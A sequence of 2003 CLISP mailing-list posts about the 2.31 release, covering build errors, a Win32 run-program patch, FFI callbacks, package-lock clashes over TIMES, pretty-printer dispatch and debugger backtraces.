make[2]: Leaving directory `/var/tmp/portage/clisp-2.31/work/clisp-2.31/src/callback/trampoline_r'
make[1]: *** [all-subdirs] Error 2
make[1]: Leaving directory `/var/tmp/portage/clisp-2.31/work/clisp-2.31/src/callback'
make: *** [callback.h] Error 2

Grepping the the CLISP source I don't find a MAP_VARIABLE and grepping
in /usr/include/ (on either the Gentoo or a Debian system) I don't
find it either.  Help?

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Hi!

I found some trouble using this under Win32:

> (run-program ... :wait nil)

I. e. spawning new process does not work properly on Win32 (meaning of "&" is different)

Details:
product version: GNU CLISP 2.30 (released 2002-09-15)
source file: "runprog.lisp", lines: 176-177
function: run-shell-command

these lines:

>    (unless wait
>      (setq command (string-concat command " &")))

need to be rewrited like this:

>    #-WIN32
>    (unless wait
>      (setq command (string-concat command " &")))
>    #+WIN32
>    (unless wait
>      (setq indirectp t)
>      (setq command (string-concat "start " command)))


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Moin Amit,

> I am looking for a LISP implementation ( preferably free ) (open source)
> which supports multithreading and runs on windows, Max OS 10 , Unix and or
> Sun machines. Any pointers on this will be of great help

  *hm* 2105 Jan 5 1999 clisp-2.31/doc/multithread.txt :
: is currently being developed and does not work yet.

  this quote is ages old. And i dont know, if its true, because
  ./src/threads.lisp is from Jan 2003. You can try to get/patch
  the existing clisp code up and running *nudge*

  the other pointer I know about is someone on irc.freenode.net#lisp,
  who has his own multithreaded SBCL. But I doubt, that that his SBCL
  is portable accross named platforms.

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Hello Stanislav,

Thursday, September 04, 2003, 9:53:49 PM, you wrote:

>>    #-WIN32
>>    (unless wait
>>      (setq command (string-concat command " &")))
>>    #+WIN32
>>    (unless wait
>>      (setq indirectp t)
>>      (setq command (string-concat "start " command)))
Hm.. Why didn't we think of start... Thank you!

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Moin Russell Senior,

> Grepping the the CLISP source I don't find a MAP_VARIABLE and grepping
> in /usr/include/ (on either the Gentoo or a Debian system) I don't
> find it either.  Help?

  this is probately because, ./ffcall/trampoline.c tries :
       MAP_ANONYMOUS | MAP_VARIABLE
  while ./configure checked for :
       MAP_ANONYMOUS | MAP_PRIVATE

  the fix needs to be done starting at ./src/autoconf/aclocal.m4 and
  ffcall/autoconf/aclocal.m4 with great care, because MAP_PRIVATE flag
  has other semantics in other sources.
  
  The ugly fix would be to define in trampoline:

    #ifdef MAP_FIXED
    #ifndef MAP_VARIABLE                                                           
    #define MAP_VARIABLE 0                                                         
    #endif                                                                         
    #endif                                                                         

  MAP_VARIABLE is defined as the oposite of MAP_FIXED - its therefore
  zero, on systems that do not define it.

  btw: this did'nt happen on my Debian systems. But 2.31 failed
  regression test on both systems.

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> * In message <3F568B69.10BB666@ieee.org>
> * On the subject of "Problems compiling gdi using clisp.h"
> * Sent on Wed, 03 Sep 2003 20:46:33 -0400
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> Atype_32Bit and local dont seem to be in clisp.h.
> Should I be using something else?

local = static.

what do you need Atype_32Bit for?
can you use Atype_8Bit instead?

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> * In message <20030904003913.GA14093@bakunin.copyleft.de>
> * On the subject of "Re: [clisp-announce] GNU CLISP 2.31 release"
> * Sent on Thu, 4 Sep 2003 02:39:13 +0200
> * Honorable Michael Koehne <kraehe@copyleft.de> writes:
>
>   I just tried them, and I have bad news ;( 2.31 failed regression
>   test with a segmentation fault on Debian/Woody (stable / gcc 2.95.4)
>   and much before on Debian/Sarge (unstable / gcc 3.3.2). The Woody
>   system is still able to compile 2.30 - while the Sarge system also
>   fails on on clisp 2.30 - I'll step back to gcc 3.2.3 tomorrow.
>
>     (PRINT 1 2) make[1]: *** [tests] Segmentation fault

see
<http://sourceforge.net/tracker/index.php?func=detail&aid=785605&group_id=1355&atid=101355>
<http://sourceforge.net/tracker/index.php?func=detail&aid=726433&group_id=1355&atid=101355>
Can you debug this?

>     ;; Loading file type.lisp ..../lisp.run: relocation error: /usr/lib/gconv/CP932.so: undefined symbol: STANDARD_ERR_HANDLER

I have no idea what this might mean.
are you using libiconv?  what is your glibc version?

>     gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o ari80386.o modules.o libcharset.a libavcall.a libcallback.a -lreadline -lncurses  -ldl   -o lisp.run
>     sync
>     ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)"
> 
>     *** - FUNCALL: the function GRAY::STREAM-WRITE-CHAR-SEQUENCE is undefined
>     1. Break> 

no idea.
Bruno?

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Sam Steingold wrote:

> > * In message <3F568B69.10BB666@ieee.org>
> > * On the subject of "Problems compiling gdi using clisp.h"
> > * Sent on Wed, 03 Sep 2003 20:46:33 -0400
> > * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
> >
> > Atype_32Bit and local dont seem to be in clisp.h.
> > Should I be using something else?
>
> local = static.

I am aware of that, but all of the clisp code uses local instead.  Is
there a plan to change local to static in the main line clisp code?
If not, then shouldn't module writers be using clisp conventions?

>
>
> what do you need Atype_32Bit for?
> can you use Atype_8Bit instead?
>

I have not checked everywhere but in 2 places, I am passing in a array of
integers.

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On Thursday 04 September 2003 15:20, Sam Steingold wrote:

> >     ;; Loading file type.lisp ..../lisp.run: relocation error:
> > /usr/lib/gconv/CP932.so: undefined symbol: STANDARD_ERR_HANDLER
>
> I have no idea what this might mean.
> are you using libiconv?  what is your glibc version?

This is a Debian unstable glibc issue. Get the latest version.



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> * In message <86u17tued8.fsf_-_@coulee.tdb.com>
> * On the subject of "Re: [clisp-announce] GNU CLISP 2.31 release"
> * Sent on 04 Sep 2003 01:50:11 -0700
> * Honorable Russell Senior <seniorr@aracnet.com> writes:
>
> I am having a problem building CLISP 2.31 on a gentoo system
> (linux-2.4.20-gentoo-r6) with glibc-2.3.2.  It is failing at:
> 
> gcc -O3 -mcpu=pentium3 -funroll-loops -pipe -I. -I../../../ffcall/callback/trampoline_r -c ../../../ffcall/callback/trampoline_r/trampoline.c -o trampoline.o
> ../../../ffcall/callback/trampoline_r/trampoline.c: In function `alloc_trampoline_r':
> ../../../ffcall/callback/trampoline_r/trampoline.c:455: `MAP_VARIABLE' undeclared (first use in this function)
> ../../../ffcall/callback/trampoline_r/trampoline.c:455: (Each undeclared identifier is reported only once
> ../../../ffcall/callback/trampoline_r/trampoline.c:455: for each function it appears in.)
> make[2]: *** [trampoline.lo] Error 1
> make[2]: Leaving directory `/var/tmp/portage/clisp-2.31/work/clisp-2.31/src/callback/trampoline_r'
> make[1]: *** [all-subdirs] Error 2
> make[1]: Leaving directory `/var/tmp/portage/clisp-2.31/work/clisp-2.31/src/callback'
> make: *** [callback.h] Error 2
> 
> Grepping the the CLISP source I don't find a MAP_VARIABLE and grepping
> in /usr/include/ (on either the Gentoo or a Debian system) I don't
> find it either.  Help?

CLISP checks for MAP_VARIABLE and thinks that if it it works then
MAP_VARIABLE is also present and works.

I wonder why...

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> * In message <3F574B73.7003E65C@ieee.org>
> * On the subject of "Re: Problems compiling gdi using clisp.h"
> * Sent on Thu, 04 Sep 2003 10:25:55 -0400
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> Sam Steingold wrote:
> 
> > > * In message <3F568B69.10BB666@ieee.org>
> > > * On the subject of "Problems compiling gdi using clisp.h"
> > > * Sent on Wed, 03 Sep 2003 20:46:33 -0400
> > > * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
> > >
> > > Atype_32Bit and local dont seem to be in clisp.h.
> > > Should I be using something else?
> >
> > local = static.
> 
> I am aware of that, but all of the clisp code uses local instead.  Is
> there a plan to change local to static in the main line clisp code?
> If not, then shouldn't module writers be using clisp conventions?

CLISP CPP sugar (elif, unless, until, local, global &c &c) is being
phased out.  No module uses them now.

The modules are different from main CLISP sources, e.g., they use DEFUN
and not LISPFUN.

> > what do you need Atype_32Bit for?
> > can you use Atype_8Bit instead?
> 
> I have not checked everywhere but in 2 places, I am passing in a array
> of integers.

if these are generic integers, your should use simple vectors.
if they are 8-bit vectors, then use Atype_8Bit.
see modules/clx/new-clx/clx.f.

if you really need 32-bit integers, I can export Atype_32Bit for you.


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Moin Sam Steingold,

> >     (PRINT 1 2) make[1]: *** [tests] Segmentation fault
> see
> <http://sourceforge.net/tracker/index.php?func=detail&aid=785605&group_id=1355&atid=101355>
> <http://sourceforge.net/tracker/index.php?func=detail&aid=726433&group_id=1355&atid=101355>

  those are a different can of worms, imho - my is related to streams.

> Can you debug this?

  [1]> (print "*STANDARD-OUTPUT*" *STANDARD-OUTPUT*)
  "*STANDARD-OUTPUT*" 
  "*STANDARD-OUTPUT*"
  [2]> (print "*STANDARD-OUTPUT*" 1)
  Segmentation fault
  bakunin:~ $ 

  bakunin:~ $ gdb /usr/local/lib/clisp/base/lisp.run core
  Core was generated by `/usr/local/lib/clisp/base/lisp.run -B
  /usr/local/lib/clisp -M /usr/local/lib/cl'.
  Program terminated with signal 11, Segmentation fault.
  [...]
  #0  0x08097097 in test_ostream ()
  (gdb) bt
  #0  0x08097097 in test_ostream ()
  #1  0xbffff4c0 in ?? ()
  #2  0x0805b0a4 in funcall_closure ()
  #3  0x202b4305 in ?? ()
  #4  0x08172f52 in subr_tab_data ()
  #5  0x202b4331 in ?? ()
  #6  0x202dc4d5 in ?? ()
  (gdb) 

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Michael Koehne wrote:

> >     ;; Loading file type.lisp ..../lisp.run: relocation error:
> > /usr/lib/gconv/CP932.so: undefined symbol: STANDARD_ERR_HANDLER

That's a glibc bug introduced on 2003-07-14 and fixed on 2003-07-20.
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Sam Steingold wrote:

>
> > > what do you need Atype_32Bit for?
> > > can you use Atype_8Bit instead?
> >
> > I have not checked everywhere but in 2 places, I am passing in a array
> > of integers.
>
> if these are generic integers, your should use simple vectors.
> if they are 8-bit vectors, then use Atype_8Bit.
> see modules/clx/new-clx/clx.f.
>
> if you really need 32-bit integers, I can export Atype_32Bit for you.
>

The win32 api defines the input to these and other routines as 32 bit
integers,
regardless of how many bits are actually used.  I suppose I could copy
a input vector of 24 bit integers to a 32 bit vector and pass it in,
and on output do the reverse, but I think thats more work in
several places.  I think the best solution is to use Atype_32Bit,
so I would like it exported.

Thanks,
Dan Stanger



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Moin Bruno Haible,

> > >     ;; Loading file type.lisp ..../lisp.run: relocation error:
> > > /usr/lib/gconv/CP932.so: undefined symbol: STANDARD_ERR_HANDLER
> That's a glibc bug introduced on 2003-07-14 and fixed on 2003-07-20.
> You must be using a glibc snapshot.

  clisp 2.31 now works on my Sarge, after a dselect. But still not on Woody.

Moin Sam Steingold,

> see
> <http://sourceforge.net/tracker/index.php?func=detail&aid=785605&group_id=1355&atid=101355>

  [1]> (streamp 1)
  NIL

  *hm* I wonder, why streamp in src/io.d thinks that an integer is a
  stream, if using gcc 2.95.4, because streamp is lisp specific and
  not C(++) specific, iirc. Unfortunately, I dont understand the .d
  concept, to help here.

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Line 19 of src/configure.in:

  AC_INIT(clisp,2.30, clisp-list)

I suppose this ought to be 2.31 instead.

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Hi,

Wednesday, September 03, 2003, 10:00:14 PM, you wrote:

>>>> It's a pity that def-call-in hardly can be made dynamic while it
> seems
>>>> crucial for typical event-driven windows app.
>>> well, this is caused by the non-dynamic nature of C/C++, right?
>>But you have already done dynamic parameter/result translation! How
>>about to made a fixed number of entry points/slots being defined by
>>def-call-in ? (and clisp being compiled as a shared library)

> I believe somebody is mislead. CLISP FFI has little problems with callbacks AFAIK. DEF-CALL-IN is not the way to go for dynamic callbacks. C/C++ is not the problem.

> If you want to install a callback (e.g. for an event driven loop), you need to invoke a def-call-out :library function which takes a C-FUNCTION object as parameter somewhere (or a C-STRUCT which
> contains such).
> A Lisp function passed as parameter thereof will be converted to a callback function pointer that the foreign (C/C++/xyz) world will receive and can use.

> Please try it out.

Wow.
Woooow!

I've made a dll with the following function

typedef int (*LispFunc)(int parameter);
int CallInFunc4(LispFunc f) {
  return f(5)+11;
}

and called it from Lisp:

declared

(ffi:def-call-out callout4
    (:name "CallInFunc4")
    (:library "lispdll.dll")
    (:arguments (list (ffi:c-function (:arguments (list ffi:int)) (:return-type ffi:int) (:language :stdc))))
    (:return-type ffi:int)
    (:language :stdc))

and used:
    
[2]> (defun f (x) (* x 2))
F
[3]> (callout4 #'f)
21

I never thought it can work this way!

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Hallo

Now I get the CLisp-2.31.zip from source forge and extract it. Soon I
see a problem. When following the steps in the readme, to start lisp.exe
brings an error message:

 The lisp.exe file is linked to missing export kernel32.dll:
CcreateHardlinkA.

It seems that lisp.exe is compiled on a win after 98 version. So I gues
the kernel32.dll is in a directory named root, I create one and copied
the dll in there, but this did not work.
Else I think it can be possible, there are more than one missing dll
files.
So I try: regsvr32 /i kernel32.dll  will not work.
Then I set the path in the autoexec.bat  will not work.

Where is the kernel32.dll stored in newer windows versions? (--> Is it
possible to make cl2.31 working by manipulating the treestructure in
win98?) How do I set a hardlink to the missing dll (and maybe other, ie
wuplang32.dll) and will this work? Is win98 no longer supported? Can the
compile be done with relative pathnames, so windows will look up in the
set paths? What can I do to make cl231 work on win98?

uhhh.
stefan



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> Now I get the CLisp-2.31.zip from source forge and extract it. Soon I
> see a problem. When following the steps in the readme, to start lisp.exe
> brings an error message:

>  The lisp.exe file is linked to missing export kernel32.dll:
> CcreateHardlinkA.

Full version (with modules) doesn't work on win98 and NT4, indeed. As
Sam said CreateHardlink needed for COPY-FILE :METHOD :HARDLINK. Base
version works on NT4.

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In clisp 2.31, the SPACE macro has been renamed TIMES. Alas, this has
broken some programs of mine, that worked in clisp 2.30 and defined
their own TIMES function, since now (defun times .....) gives a
continuable error.

[1]> (defun times())

** - Continuable Error
DEFUN/DEFMACRO(TIMES): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed

1. Break [2]> 

Wouldn't be wiser either to use a less common name (TIME-AND-SPACE) or
(better) make it unaccessible at startup without a package extension?

Carlo Traverso


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On Sun, 7 Sep 2003, Carlo Traverso wrote:

> In clisp 2.31, the SPACE macro has been renamed TIMES. Alas, this has
> broken some programs of mine, that worked in clisp 2.30 and defined
> their own TIMES function, since now (defun times .....) gives a
> continuable error.
> 
> [1]> (defun times())
> 
> ** - Continuable Error
> DEFUN/DEFMACRO(TIMES): #<PACKAGE EXT> is locked
> If you continue (by typing 'continue'): Ignore the lock and proceed
> 
> 1. Break [2]> 
> 
> Wouldn't be wiser either to use a less common name (TIME-AND-SPACE) or

No; this is what the package system is for.

> (better) make it unaccessible at startup without a package extension?

That is what the COMMON-LISP-USER package is for. ANSI CL allows 
implementations to expose extensions there, making them conveniently
accessible from the REPL.  If you intern your program's symbols under
COMMON-LISP-USER, you risk clashing with some implementation's
extensions, which may fluctuate from release to release.  
The solution is to define your own package, in which exactly those
things are visible that you choose.



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	since now (defun times .....) gives a > continuable error. > > [1]>
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	#<PACKAGE EXT> is locked > If you continue (by typing 'continue'):
	Ignore the lock and proceed > > 1. Break [2]> > > Wouldn't be wiser
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Carlo Traverso writes:
>=20
> In clisp 2.31, the SPACE macro has been renamed TIMES. Alas, this has
> broken some programs of mine, that worked in clisp 2.30 and defined
> their own TIMES function, since now (defun times .....) gives a
> continuable error.
>=20
> [1]> (defun times())
>=20
> ** - Continuable Error
> DEFUN/DEFMACRO(TIMES): #<PACKAGE EXT> is locked
> If you continue (by typing 'continue'): Ignore the lock and proceed
>=20
> 1. Break [2]>=20
>=20
> Wouldn't be wiser either to use a less common name (TIME-AND-SPACE) or
> (better) make it unaccessible at startup without a package extension?
>=20
> Carlo Traverso

(UNUSE-PACKAGE "EXT")
TIMES        ;; mine
(EXT:TIMES)  ;; theirs


Perhaps it's allowed  by the standard, but IMHO,  a Common-Lisp system
by default  should not  use any other  package than  COMMON-LISP.  The
following should be forbidden. (Same result with -ansi).


[pascal@thalassa palm]$ /usr/local/bin/clisp -norc
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2002


[1]> (quit)
Bye.


You can easily implement this rule adding in your ~/.clisprc.lisp:

(mapc (lambda (used) (unuse-package used "COMMON-LISP-USER"))
      (delete (find-package "COMMON-LISP")=20
              (package-use-list "COMMON-LISP-USER")))

--=20
__Pascal_Bourguignon__                   http://www.informatimago.com/
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Do not adjust your mind, there is a fault in reality.


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Hello --

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synthespian wrote:
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> 
>  Newbie help: how do I load the fastcgi module? The documentation 
> mentioned a lot of - to me - strange stuff: C header files, etc, that 
> didn't seem to make much sense for a builtin module.
>  Can you help?
> 
>  Thank you.
> 
>  Regs,
>     Henry
I'm sorry, I forgot to add, this is on Win32. There is no "modules" 
directory in /src.
TIA
hy





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 > You're compiling from source code and not using a Windows
 > binary, right?

Just checked out the CLISP distribution for Win32 and my guess is yes,
you're using a binary distribution which will not have compiled into
it any of the extra module "goodies" like the FastCGI module.

Your only option at this point would be to compile CLISP from the
source.  I'll see what I can do about getting whoever it is that
assembles the binary to build it with the FastCGI enabled but it will
require some configuration changes.

 > The documentation 
 > mentioned a lot of - to me - strange stuff: C header files, etc, that 
 > didn't seem to make much sense for a builtin module.

I'm still curious as to exactly where the C headers were talked about.

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I am trying to get an FFI interface program that ran under an old
version to run under the latest stable version and am running into some
problems as follows:

Compiling file /u/fc/src/Responder/call-rawsock.lisp ...

Wrote file /u/fc/src/Responder/call-rawsock.fas
Wrote file /u/fc/src/Responder/call-rawsock.c
0 errors, 0 warnings

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations
-DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I.  -I/usr/local/lib/clisp/linkkit
-c call-rawsock.c

In file included from call-rawsock.c:1:

/usr/local/lib/clisp/linkkit/clisp.h:3100:22: constobj.c: No such file or directory

make: *** [call-rawsock.o] Error 1

The only version of this file I can find is in the clisp source tree
and when I artificially force this to be the included file I get:

Wrote file /u/fc/src/Responder/call-rawsock.fas
Wrote file /u/fc/src/Responder/call-rawsock.c
0 errors, 0 warnings
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -I/usr/local/lib/clisp/linkkit -c call-rawsock.c
In file included from call-rawsock.c:1:
/usr/local/lib/clisp/linkkit/clisp.h:543: warning: register used for two global register variables
/usr/local/lib/clisp/linkkit/clisp.h:555: parse error before `)'
/usr/local/lib/clisp/linkkit/clisp.h:555: warning: type defaults to `int' in declaration of `finish_frame'
/usr/local/lib/clisp/linkkit/clisp.h:555: warning: parameter names (without types) in function declaration
/usr/local/lib/clisp/linkkit/clisp.h:555: warning: data definition has no type or storage class
/usr/local/lib/clisp/linkkit/clisp.h:555: parse error before `}'
/usr/local/lib/clisp/linkkit/clisp.h:555: warning: type defaults to `int' in declaration of `callback_saved_registers'
/usr/local/lib/clisp/linkkit/clisp.h:555: conflicting types for `callback_saved_registers'
/usr/local/lib/clisp/linkkit/clisp.h:221: previous declaration of `callback_saved_registers'
/usr/local/lib/clisp/linkkit/clisp.h:555: `registers' undeclared here (not in a function)
/usr/local/lib/clisp/linkkit/clisp.h:555: warning: data definition has no type or storage class
/usr/local/lib/clisp/linkkit/clisp.h:555: parse error before `}'
/usr/local/lib/clisp/linkkit/clisp.h:555: warning: type defaults to `int' in declaration of `saved_STACK'
/usr/local/lib/clisp/linkkit/clisp.h:555: conflicting types for `saved_STACK'
/usr/local/lib/clisp/linkkit/clisp.h:545: previous declaration of `saved_STACK'
/usr/local/lib/clisp/linkkit/clisp.h:555: warning: initialization makes integer from pointer without a cast
/usr/local/lib/clisp/linkkit/clisp.h:555: warning: data definition has no type or storage class
/usr/local/lib/clisp/linkkit/clisp.h:563: warning: type defaults to `int' in declaration of `CK_reg'
/usr/local/lib/clisp/linkkit/clisp.h:563: `registers' undeclared here (not in a function)
/usr/local/lib/clisp/linkkit/clisp.h:563: warning: data definition has no type or storage class
/usr/local/lib/clisp/linkkit/clisp.h:563: parse error before `}'
In file included from call-rawsock.c:1:
/usr/local/lib/clisp/linkkit/clisp.h:3127: parse error before `*'
/usr/local/lib/clisp/linkkit/clisp.h:3127: warning: `struct mod' declared inside parameter list
/usr/local/lib/clisp/linkkit/clisp.h:3127: warning: its scope is only this definition or declaration, which is probably not what you want.
/usr/local/lib/clisp/linkkit/clisp.h:3198: parse error before `#'
/usr/local/lib/clisp/linkkit/clisp.h:3198: warning: type defaults to `int' in declaration of `_sstring_alloca'
/usr/local/lib/clisp/linkkit/clisp.h:3198: warning: data definition has no type or storage class
/usr/local/lib/clisp/linkkit/clisp.h:3198: parse error before `#'
/usr/local/lib/clisp/linkkit/clisp.h:3198: parse error before `#'
/usr/local/lib/clisp/linkkit/clisp.h:3205: warning: type defaults to `int' in declaration of `cstombs_f'
/usr/local/lib/clisp/linkkit/clisp.h:3205: conflicting types for `cstombs_f'
/usr/local/lib/clisp/linkkit/clisp.h:3190: previous declaration of `cstombs_f'
/usr/local/lib/clisp/linkkit/clisp.h:3205: warning: data definition has no type or storage class
/usr/local/lib/clisp/linkkit/clisp.h:3205: parse error before `#'
/usr/local/lib/clisp/linkkit/clisp.h:3213: parse error before `#'
/usr/local/lib/clisp/linkkit/clisp.h:3213: parse error before `#'
/usr/local/lib/clisp/linkkit/clisp.h:3220: warning: type defaults to `int' in declaration of `cstombs_f'
/usr/local/lib/clisp/linkkit/clisp.h:3220: warning: data definition has no type or storage class
/usr/local/lib/clisp/linkkit/clisp.h:3220: parse error before `#'
/usr/local/lib/clisp/linkkit/clisp.h:3248: parse error before `('
/usr/local/lib/clisp/linkkit/clisp.h:3255: parse error before `_unpacked_'
/usr/local/lib/clisp/linkkit/clisp.h:3255: warning: type defaults to `int' in declaration of `_unpacked_'
/usr/local/lib/clisp/linkkit/clisp.h:3255: warning: data definition has no type or storage class
/usr/local/lib/clisp/linkkit/clisp.h:3268: parse error before `d_function'
/usr/local/lib/clisp/linkkit/clisp.h:3275: parse error before `condition'
In file included from call-rawsock.c:1:
/usr/local/lib/clisp/linkkit/clisp.h:3382: warning: This file contains more `}'s than `{'s.
call-rawsock.c: In function `module__call_rawsock__init_function_2':
call-rawsock.c:19: `buffer' undeclared (first use in this function)
call-rawsock.c:19: (Each undeclared identifier is reported only once
call-rawsock.c:19: for each function it appears in.)
call-rawsock.c:20: `from' undeclared (first use in this function)
call-rawsock.c:21: `f' undeclared (first use in this function)
call-rawsock.c:22: `timestamp' undeclared (first use in this function)
call-rawsock.c:23: `ts' undeclared (first use in this function)
call-rawsock.c:24: `rawsocket' undeclared (first use in this function)
call-rawsock.c:25: `closesock' undeclared (first use in this function)
call-rawsock.c:26: `ipcsum' undeclared (first use in this function)
call-rawsock.c:27: `icmpcsum' undeclared (first use in this function)
call-rawsock.c:28: `tcpcsum' undeclared (first use in this function)
call-rawsock.c:29: `udpcsum' undeclared (first use in this function)
call-rawsock.c:30: `recvfr' undeclared (first use in this function)
call-rawsock.c:31: `sendt' undeclared (first use in this function)
call-rawsock.c:32: `gettime' undeclared (first use in this function)
call-rawsock.c:33: `backup' undeclared (first use in this function)
call-rawsock.c:34: `restore' undeclared (first use in this function)
call-rawsock.c:35: `configdev' undeclared (first use in this function)
call-rawsock.c:36: `perror' undeclared (first use in this function)
make: *** [call-rawsock.o] Error 1

Now of course this stuff worked without a problem in the previous
version I was using, so IU was wondering if I missed a critical step or
some such thing. 

Any assistance would be greatly appreciated.  Please cc me directly at
my email address. (fc at all.net)

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Date: Tue Sep  9 16:04:48 2003
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>* Fred Cohen <sp@nyy.arg> [2003-09-09 10:33:27 -0700]:

first, what are "2.7x" & "3.x"?

> Compiling file /u/fc/src/Responder/call-rawsock.lisp ...

just out of curiosity, what does your module do?

> Wrote file /u/fc/src/Responder/call-rawsock.fas
> Wrote file /u/fc/src/Responder/call-rawsock.c
> 0 errors, 0 warnings
> 
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations
> -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I.  -I/usr/local/lib/clisp/linkkit
> -c call-rawsock.c
> 
> In file included from call-rawsock.c:1:
> 
> /usr/local/lib/clisp/linkkit/clisp.h:3100:22: constobj.c: No such file or directory

oops.  bug.  sorry.
please remove the line in clisp.h that includes constobj.c.

> Wrote file /u/fc/src/Responder/call-rawsock.fas
> Wrote file /u/fc/src/Responder/call-rawsock.c
> 0 errors, 0 warnings
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -I/usr/local/lib/clisp/linkkit -c call-rawsock.c
> In file included from call-rawsock.c:1:
> /usr/local/lib/clisp/linkkit/clisp.h:543: warning: register used for two global register variables
> /usr/local/lib/clisp/linkkit/clisp.h:555: parse error before `)'

could you please look at clisp.h and try to figure out what is wrong there?
I see nothing wrong in my file.

> Now of course this stuff worked without a problem in the previous
> version I was using, so IU was wondering if I missed a critical step
> or some such thing.

No, of course, this stuff worked without a problem in the built-in
modules with which CLISP is distributed, so I am wondering if I missed
a critical step or some such thing :-)

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I played a liitle with pretty printing in clisp and found that
sometimes it behaves strange (IMO incorrect, but since I'm a Lisp
newbie I can miss something).

After creating simple dispatch table:

(defvar *pdt* (copy-pprint-dispatch))

(defun own-write (sexpr &rest args)
  (apply #'write sexpr :pretty t :pprint-dispatch *pdt* args))
           
(defun 3-elem-list-p (x) (and (consp x) (= (length x) 3)))

(set-pprint-dispatch
 '(satisfies 3-elem-list-p)
 (lambda (s list)
   (pprint-logical-block (s (cdr list))
      (format s "~S,~S,~S" (pprint-pop) (car list) (pprint-pop)))) 0 *pdt*)

lists of length 3 are correctly dispatched:

[123]> (own-write '(1 2 3))
2,1,3
(1 2 3)

But then I add dispatch rule for 2 element lists:

(defun 2-elem-list-p (x) (and (consp x) (= (length x) 2)))

(set-pprint-dispatch
 '(satisfies 2-elem-list-p)
 (lambda (s list)
   (format s "~S;~S" (car list) (cadr list))) 0 *pdt*)

I see that the argument of pprint-logical-block is redispatched
through new rule:

[137]> (own-write '(1 2 3))
2;3
(1 2 3)

I'm using clisp 2.31 (2.30 exhibits the same problem) under
cygwin/Windows XP.

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In situations  where there's  no interactive channel  to a  clisp, how
could I direct the debugger to issue a backtrace automatically?


I first tried to set a *debugger-hook*, but then I've no access to the
frames to be backtracked:

[2]> (setq *debugger-hook* (lambda (condition last-hook)
                          (format t "~&ERROR: ~A" condition)
                          (let ((system::*debug-mode* 1)
                                (system::*debug-frame* (SYSTEM::THE-FRAME=
)))
                            (SYSTEM::DEBUG-BACKTRACE))))
#<CLOSURE :LAMBDA (CONDITION LAST-HOOK) (FORMAT T "~&ERROR: ~A" CONDITION=
)
  (LET ((SYSTEM::*DEBUG-MODE* 1) (SYSTEM::*DEBUG-FRAME* (SYSTEM::THE-FRAM=
E)))
   (SYSTEM::DEBUG-BACKTRACE))>
[9]> (/ 1 0)
ERROR: division by zero
*** - SYSTEM::FRAME-UP-1: NIL is not a stack pointer
1. Break [10]>=20



Then I tried something like:

[2]> (let ((*debug-io*=20
             (make-two-way-stream=20
                (make-string-input-stream (format nil ":bt~%(ext:quit)~%"=
))=20
                *standard-output*)))=20
       (let ((a 0)) (format t "~D~%" (/ 1 a))))
*** - division by zero
1. Break [9]>=20
:BT
1. Break [9]>=20

but while it's echoing :BT it does not seem to exectute it.



I even tried with more redirections:

(let* ((*standard-input*=20
        (make-string-input-stream (format nil ":bt~%(ext:quit)~%")))=20
       (*debug-io* (make-two-way-stream *standard-input* *standard-output=
*))
       (*terminal-io* *debug-io*)=20
       (*query-io* *debug-io*))=20
 (let ((a 0)) (format t "~D~%" (/ 1 a))))

but this only hangs clisp.



I'd like it  to dump a backtrace automatically  in addition to issuing
the error message.

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	Content preview:  Hello, I am using clisp-2.31 and did the following at
	the prompt: [17]> (ffi:unsigned-foreign-address 65535)
	#<FOREIGN-ADDRESS #x0000FFFF> [18]> (ffi:foreign-pointer
	(ffi:unsigned-foreign-address 65535)) #<FOREIGN-POINTER #x00000000>
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Hello,
I am using clisp-2.31 and did the following at the prompt:

[17]> (ffi:unsigned-foreign-address 65535)
#<FOREIGN-ADDRESS #x0000FFFF>
[18]> (ffi:foreign-pointer (ffi:unsigned-foreign-address 65535))
#<FOREIGN-POINTER #x00000000>
[19]> (ffi:foreign-address (ffi:foreign-pointer
(ffi:unsigned-foreign-address 65535)))
#<FOREIGN-ADDRESS #x00000000>
[20]> 

I would have expected as results #<FOREIGN-POINTER #x0000ffff> and
#<FOREIGN-ADDRESS #x0000ffff>

It think that in file foreign.d in function foreign_pointer the base of the
foreign-address object is ignored.

Bye,
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	interactive channel to a clisp, how > could I direct the debugger to
